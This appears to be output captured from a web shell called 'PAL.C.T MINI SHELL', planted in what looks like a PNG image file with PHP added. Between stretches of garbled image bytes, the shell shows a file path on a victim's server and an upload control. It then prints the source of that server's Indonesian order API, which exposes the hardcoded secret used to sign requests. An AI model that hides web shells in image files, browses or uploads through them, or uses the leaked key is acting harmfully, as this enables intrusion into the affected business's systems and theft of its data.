php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/mobile/
upload
files >> //var/www/html/FTFL/mobile/order.php

<?php
    require('inc/konekmobile.php');
    $myObj = new stdClass();

    $kunci = $_POST['kunci'];
    $uuid_staff = $_POST['uuid_staff'];
    $tgl_dari = $_POST['tgl_dari'];
    $tgl_ke = $_POST['tgl_ke'];
    $status = $_POST['status'];//SEMUA
    $jenis = $_POST['jenis'];//SEMUA

    //if ($kunci!='eFTeeFeL') {
    if ($kunci != md5('eFTeeFeL'.$uuid_staff.$tgl_dari.$tgl_ke.$status.$jenis)) {
         $myObj->status = 'gagal';
        $myObj->subject = 'aplikasi tidak dikenal.';
        $myObj->result = '';
        echo json_encode(array($myObj));
        exit();
    }

    $stmtOrder = $r->prepare("SELECT a.uuid_order, a.status_order, a.tgl_order, a.total_harga, a.tgl_jatuh_tempo, a.jenis, b.nama_toko, b.alamat_toko, b.kota_toko
                                FROM orders a, db_customer b WHERE a.id_kustomer=b.id_customer AND a.tgl_order >=? AND a.tgl_order<=? 
                                ORDER BY a.tgl_order DESC ");
    $stmtOrder->bind_param('ss',$tgl_dari,$tgl_ke);
    $stmtOrder->execute();
    $resultOrder=$stmtOrder->get_result();
    $adaOrder=$resultOrder->num_rows;

    if ($adaOrder==0) {
        $myObj->status = 'sukses';
        $myObj->subject = 'Order kosong.';
        $myObj->result = '';
        echo json_encode(array($myObj));
        exit();
    }

    $list_order = array();
    while ($dataOrder = $resultOrder->fetch_assoc()) {
        $dataOrder['total_harga']='Rp.'.number_format($dataOrder['total_harga']);
        array_push($list_order,$dataOrder);
    }

    $myObj->status = 'sukses';
    $myObj->subject = '';
    $myObj->result = $list_order;
    echo json_encode(array($myObj));
    exit();

?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`